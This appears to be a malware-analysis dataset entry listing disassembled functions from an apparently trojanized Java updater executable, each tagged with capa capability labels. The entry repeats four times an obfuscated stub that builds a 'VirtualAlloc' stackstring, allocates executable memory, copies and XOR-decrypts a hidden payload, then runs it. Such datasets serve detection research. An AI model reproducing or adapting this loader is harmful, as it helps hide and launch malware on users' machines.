joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007e5f4
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14005d824
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x14007e67e
cmp byte [rbp - 0x21], r15b
je 0x14007e679
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x14007e6b4
call fcn.140071900
test eax, eax
jne 0x14007e6a0
cmp byte [rbp - 0x21], r15b
je 0x14007e698
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x14007e6b4
cmp byte [rbp - 0x21], r15b
je 0x14007e6b1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140067744
test eax, eax
jne 0x14007e754
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14005d824
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x14007e6f3
cmp byte [rbp - 0x21], r15b
je 0x14007e728
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x14007e728
call fcn.140071900
test eax, eax
jne 0x14007e714
cmp byte [rbp - 0x21], r15b
je 0x14007e70d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x14007e728
cmp byte [rbp - 0x21], r15b
je 0x14007e725
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140067744
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x14007e754
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x14007e757
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x14007e765
mov rcx, rdi
call fcn.14006f0d8
cmp byte [rbp + 0x3f], r15b
je 0x14007e774
mov rcx, qword [rbp + 0x27]
call fcn.14006f0d8
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140080430
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140080458
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140080458
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140004968
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x840
mov rax, qword [0x140061568]
xor rax, rsp
mov qword [rsp + 0x830], rax
mov r10, rdx
mov ebx, 1
test r8d, r8d
jne 0x140004aa8
cmp ecx, ebx
je 0x140004aa8
cmp ecx, 2
jne 0x1400049d1
mov rax, qword [rdx + 8]
lea r8, str._Xnosplash
sub r8, rax
movzx edx, word [rax]
movzx r9d, word [rax + r8]
sub edx, r9d
jne 0x1400049c9
add rax, 2
test r9d, r9d
jne 0x1400049b3
test edx, edx
je 0x140004aa8
xor r8d, r8d
test ecx, ecx
jle 0x140004a37
mov rax, qword [r10]
lea r11, str._uninstall
mov rdx, rax
sub r11, rax
movzx r9d, word [rdx]
movzx edi, word [rdx + r11]
sub r9d, edi
jne 0x1400049fe
add rdx, 2
test edi, edi
jne 0x1400049e8
test r9d, r9d
je 0x140004aa8
lea r11, str._updateVersions
sub r11, rax
movzx edx, word [rax]
movzx r9d, word [rax + r11]
sub edx, r9d
jne 0x140004a27
add rax, 2
test r9d, r9d
jne 0x140004a11
test edx, edx
je 0x140004aa8
add r8d, ebx
add r10, 8
cmp r8d, ecx
jl 0x1400049d8
lea rax, str.1.8.0_261
or r8, 0xffffffffffffffff
mov qword [rsp + 0x28], rax
lea r9, [0x14005b448]
lea rax, str.SoftwareJavaSoftJava_Runtime_Environment_
mov edx, 0x400
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x20], rax
call fcn.140004898
lea r8, [0x14005b458]
mov rcx, 0xffffffff80000002
lea rdx, [rsp + 0x30]
int3
mov eax, ebx
mov rcx, qword [rsp + 0x830]
xor rcx, rsp
call fcn.140013330
mov rbx, qword [rsp + 0x850]
add rsp, 0x840
pop rdi
ret

Function at 0x14000820c
Capabilities:
Send data
Send data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x20
xor ebx, ebx
mov rdi, rdx
mov rbp, rcx
test rdx, rdx
je 0x1400082a1
or rax, 0xffffffffffffffff
inc rax
cmp word [rdx + rax*2], bx
jne 0x140008236
lea eax, [rax*2 + 6]
movsxd r14, eax
lea rcx, [r14 + r14]
call fcn.140025ca4
mov rsi, rax
test rax, rax
je 0x1400082a1
mov r9, rdi
lea r8, str._s_r_n
mov rdx, r14
mov rcx, rax
call fcn.1400099e8
or rcx, 0xffffffffffffffff
inc rcx
cmp word [rsi + rcx*2], bx
jne 0x140008273
lea r8d, [rcx + rcx]
xor r9d, r9d
mov rcx, rbp
mov rdx, rsi
call qword [sym.imp.WSOCK32.dll_send]
cmp eax, 0xffffffff
mov rcx, rsi
setne bl
call fcn.140025c90
mov eax, ebx
jmp 0x1400082a3
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x1400082c4
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
xor r15d, r15d
lea r12, [0x14006e810]
mov edi, r15d
mov r14d, r15d
mov ebx, r15d
mov esi, r15d
mov rdx, r12
mov rbp, rcx
jmp 0x14000833b
test eax, eax
je 0x140008378
movzx ecx, word [r12 + rdi*2]
cmp cx, 0xa
je 0x140008378
cmp cx, 0xd
lea eax, [rbx + 1]
cmove eax, ebx
cmp eax, 0x3ff
jge 0x14000836e
movsxd rbx, eax
lea rdi, [r14 + 1]
cmp cx, 0xd
mov rsi, rbx
mov rcx, rbp
cmove rdi, r14
mov r14, rdi
lea rdx, [r12 + rbx*2]
xor r9d, r9d
lea r8d, [r9 + 2]
call qword [sym.imp.WSOCK32.dll_recv]
cmp eax, 0xffffffff
jne 0x1400082ff
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
mov word [0x14006f00e], r15w
jmp 0x14000838a
lea rcx, [rsi + rsi]
cmp rcx, 0x800
jae 0x14000838f
mov word [rcx + r12], r15w
mov rax, r12
jmp 0x14000834f
int3

Function at 0x14000b8dc
Capabilities:
Encode data using base64

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r15
sub rsp, 0x20
xorps xmm0, xmm0
mov rsi, r8
mov rbx, rdx
mov rdi, rcx
cvtsi2sd xmm0, rdx
test rdx, rdx
jns 0x14000b913
addsd xmm0, qword [0x140041638]
divsd xmm0, qword [0x140041620]
call fcn.140028a60
mulsd xmm0, qword [0x140041628]
xor eax, eax
movsd xmm1, qword [0x140041630]
comisd xmm0, xmm1
jb 0x14000b94f
subsd xmm0, xmm1
comisd xmm0, xmm1
jae 0x14000b94f
movabs rcx, 0x8000000000000000
mov rax, rcx
cvttsd2si rcx, xmm0
mov edx, 1
add rcx, rax
mov qword [rsi], rcx
inc rcx
call fcn.140025c88
xor r8d, r8d
mov r9, rax
test rax, rax
je 0x14000ba6c
lea r15, [0x140000000]
mov rcx, r8
test rbx, rbx
je 0x14000ba31
mov r10, r9
cmp rcx, rbx
jae 0x14000b99d
lea rax, [rcx + rdi]
inc rcx
movzx edx, byte [rax]
jmp 0x14000b9a0
mov rdx, r8
cmp rcx, rbx
jae 0x14000b9b1
lea rax, [rcx + rdi]
inc rcx
movzx ebp, byte [rax]
jmp 0x14000b9b4
mov rbp, r8
cmp rcx, rbx
jae 0x14000b9c6
lea rax, [rcx + rdi]
inc rcx
movzx r11d, byte [rax]
jmp 0x14000b9c9
mov r11, r8
shl rdx, 8
add rdx, rbp
shl rdx, 8
add rdx, r11
mov rax, rdx
shr rax, 0x12
mov al, byte [rax + r15 + 0x5fad0]
mov byte [r10], al
mov rax, rdx
shr rax, 0xc
and eax, 0x3f
mov al, byte [rax + r15 + 0x5fad0]
mov byte [r10 + 1], al
mov rax, rdx
shr rax, 6
and edx, 0x3f
and eax, 0x3f
mov al, byte [rax + r15 + 0x5fad0]
mov byte [r10 + 2], al
mov al, byte [rdx + r15 + 0x5fad0]
mov byte [r10 + 3], al
add r10, 4
cmp rcx, rbx
jb 0x14000b991
movabs rax, 0xaaaaaaaaaaaaaaab
mul rbx
shr rdx, 1
lea rax, [rdx + rdx*2]
sub rbx, rax
mov rcx, qword [r15 + rbx*8 + 0x5fb10]
test rcx, rcx
je 0x14000ba69
mov rax, qword [rsi]
sub rax, r8
inc r8
mov byte [rax + r9 - 1], 0x3d
cmp r8, rcx
jb 0x14000ba55
mov rax, r9
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
Function at 0x14000cc98
Capabilities:
Check os version

Disassembly:
push rbx
sub rsp, 0x150
mov rax, qword [0x140061568]
xor rax, rsp
mov qword [rsp + 0x140], rax
xor ebx, ebx
cmp dword [0x14007725c], ebx
je 0x14000ccc5
mov eax, dword [0x140077260]
jmp 0x14000cd0d
xor edx, edx
lea rcx, [rsp + 0x24]
mov r8d, 0x110
call fcn.140014f40
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x20], 0x114
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
cmp dword [rsp + 0x30], 2
mov eax, 1
jne 0x14000ccff
cmp dword [rsp + 0x24], 6
jb 0x14000ccff
mov ebx, eax
mov dword [0x14007725c], eax
mov eax, ebx
mov dword [0x140077260], ebx
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140013330
add rsp, 0x150
pop rbx
ret

Function at 0x14000d1f4
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rsi
push rdi
push r14
sub rsp, 0x270
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x140061568]
xor rax, rsp
mov qword [rsp + 0x260], rax
movsxd r14, edx
mov rsi, rcx
xor ebx, ebx
mov word [rcx], bx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test eax, eax
js 0x14000d2bb
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
int3
mov edx, eax
lea rcx, str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__szPath_
call fcn.14001014c
xor edx, edx
mov ecx, edi
int3

Function at 0x14000d2dc
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rsi
push rdi
push r14
sub rsp, 0x270
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x140061568]
xor rax, rsp
mov qword [rsp + 0x260], rax
movsxd r14, edx
mov rsi, rcx
xor ebx, ebx
mov word [rcx], bx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [rbx + 0x23]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
test eax, eax
js 0x14000d3a3
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
int3
mov edx, eax
lea rcx, str.Error:_08x_in_::SHGetFolderPathW_0__CSIDL_COMMON_APPDATA__NULL__SHGFP_TYPE_CURRENT__szPath_
call fcn.14001014c
xor edx, edx
mov ecx, edi
int3
Function at 0x14000d594
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
mov qword [rax + 8], rcx
push rsi
push rdi
push r14
sub rsp, 0x50
mov qword [rax - 0x38], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov r14, rcx
xor edi, edi
mov esi, edi
mov word [rcx], di
call fcn.14000d480
test eax, eax
je 0x14000d5d7
call fcn.14000eeb0
mov rsi, rax
test rax, rax
jne 0x14000d5d7
int3
mov dword [rsp + 0x20], 0x104
mov r9, r14
mov r8, rsi
xor edx, edx
lea rcx, [0x140041600]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathEx]
mov ebx, eax
test eax, eax
js 0x14000d678
test rsi, rsi
je 0x14000d609
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x14000d614
test ebx, ebx
jns 0x14000d665
mov qword [rsp + 0x20], r14
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov ebx, eax
test eax, eax
js 0x14000d690
jmp 0x14000d640
test ebx, ebx
jns 0x14000d665
mov r9d, 1
lea r8d, [r9 + 0x19]
mov rdx, r14
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
mov ebx, eax
test eax, eax
js 0x14000d6a8
jmp 0x14000d665
mov eax, ebx
mov rbx, qword [rsp + 0x80]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
mov edx, eax
lea rcx, str.Error:_08x_in_SHGetFolderPathEx_FOLDERID_LocalAppDataLow__0__hToken__pPath__MAX_PATH_
call fcn.14001014c
xor edx, edx
mov ecx, ebx
int3
mov edx, eax
lea rcx, str.Error:_08x_in_SHGetFolderPathW_NULL__CSIDL_APPDATA__NULL__0__pPath_
call fcn.14001014c
xor edx, edx
mov ecx, ebx
int3
mov edx, eax
lea rcx, str.Error:_08x_in_SHGetSpecialFolderPathW_NULL__pPath__CSIDL_APPDATA__TRUE_
call fcn.14001014c
xor edx, edx
mov ecx, ebx
int3

Function at 0x14000dee4
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x450
mov rax, qword [0x140061568]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rbx, rcx
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x208
call fcn.140014f40
mov edx, 0x104
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
dec eax
cmp eax, 0x103
ja 0x14000df6f
xor edx, edx
lea rcx, [rsp + 0x230]
mov r8d, 0x208
call fcn.140014f40
mov r9, rbx
lea r8, [rsp + 0x20]
lea rdx, [0x1400423b0]
lea rcx, [rsp + 0x230]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x230]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
jmp 0x14000df71
xor eax, eax
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140013330
add rsp, 0x450
pop rbx
ret

Function at 0x14000e584
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x240
mov rax, qword [0x140061568]
xor rax, rsp
mov qword [rsp + 0x230], rax
mov edi, edx
mov rbx, rcx
test rcx, rcx
je 0x14000e623
mov r8d, edi
lea rdx, [rsp + 0x20]
lea rcx, [0x140042868]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
jne 0x14000e61c
mov edx, 0x104
lea rcx, [rsp + 0x20]
call fcn.14000d1f4
lea r9, [rsp + 0x20]
mov edx, edi
lea r8, [0x140042890]
mov rcx, rbx
call fcn.14000ad4c
mov rcx, rbx
int3
mov eax, 1
jmp 0x14000e625
xor eax, eax
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140013330
mov rbx, qword [rsp + 0x260]
add rsp, 0x240
pop rdi
ret
Function at 0x140013a41
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140013a5f
je 0x140013a6a
call 0x140013ab9
mov bl, 0xc7
lahf
pop rsi
jne 0x140013a4a
call 0x140013a62
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140013a4a
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140013a98
je 0x140013ad6
invalid
je 0x140013ae7
jne 0x140013a4a
lea rax, [0x140013970]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], WSAStartup
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], WSAGetLastError
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], WSAGetLastError
mov byte [rbp - 4], WSAGetLastError
mov byte [rbp - 3], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp - 2], WSAAsyncSelect
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000f6d1]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140013b88
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140013be1
je 0x140013be7
call 0x140013bd8
fild qword [rdi - 0x7c]
jmp 0x174f5035a
jne 0x140013baa
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140013b6a
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140013a54
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140013a5f
je 0x140013a6a
call 0x140013ab9
mov bl, 0xc7
lahf
pop rsi
jne 0x140013a4a
call 0x140013a62
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140013a4a
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140013a98
je 0x140013ad6
invalid
je 0x140013ae7
jne 0x140013a4a
lea rax, [0x140013970]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], WSAStartup
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], WSAGetLastError
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], WSAGetLastError
mov byte [rbp - 4], WSAGetLastError
mov byte [rbp - 3], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp - 2], WSAAsyncSelect
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000f6d1]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140013b88
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140013be1
je 0x140013be7
call 0x140013bd8
fild qword [rdi - 0x7c]
jmp 0x174f5035a
jne 0x140013baa
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140013b6a
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140013a80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140013a5f
je 0x140013a6a
call 0x140013ab9
mov bl, 0xc7
lahf
pop rsi
jne 0x140013a4a
call 0x140013a62
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140013a4a
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140013a98
je 0x140013ad6
invalid
je 0x140013ae7
jne 0x140013a4a
lea rax, [0x140013970]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], WSAStartup
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], WSAGetLastError
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], WSAGetLastError
mov byte [rbp - 4], WSAGetLastError
mov byte [rbp - 3], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp - 2], WSAAsyncSelect
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000f6d1]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140013b88
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140013be1
je 0x140013be7
call 0x140013bd8
fild qword [rdi - 0x7c]
jmp 0x174f5035a
jne 0x140013baa
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140013b6a
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140013ab9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x140013a5f
je 0x140013a6a
call 0x140013ab9
mov bl, 0xc7
lahf
pop rsi
jne 0x140013a4a
call 0x140013a62
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140013a4a
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x140013a98
je 0x140013ad6
invalid
je 0x140013ae7
jne 0x140013a4a
lea rax, [0x140013970]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], WSAStartup
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], WSAGetLastError
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], WSAGetLastError
mov byte [rbp - 4], WSAGetLastError
mov byte [rbp - 3], reloc.WSOCK32.dll_WSAGetLastError
mov byte [rbp - 2], WSAAsyncSelect
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000f6d1]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x140013b88
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x140013be1
je 0x140013be7
call 0x140013bd8
fild qword [rdi - 0x7c]
jmp 0x174f5035a
jne 0x140013baa
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x140013b6a
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140025f90
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov ebx, ecx
test r8d, r8d
jne 0x140025e23
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140025e23
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140025e23
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140025e23
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140025e23
cmp dword [rcx + 0x84], 0xe
jbe 0x140025e23
cmp dword [rcx + 0xf8], 0
je 0x140025e23
mov ecx, ebx
int3
lea rax, [rbp + 0x18]
mov byte [rbp + 0x28], 0
mov qword [rbp - 0x20], rax
lea r9, [rbp - 0x2c]
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x20]
lea rax, [rbp + 0x28]
mov qword [rbp - 0x10], rax
lea rdx, [rbp - 0x28]
mov eax, 2
lea rcx, [rbp - 0x30]
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
call fcn.140025cb4
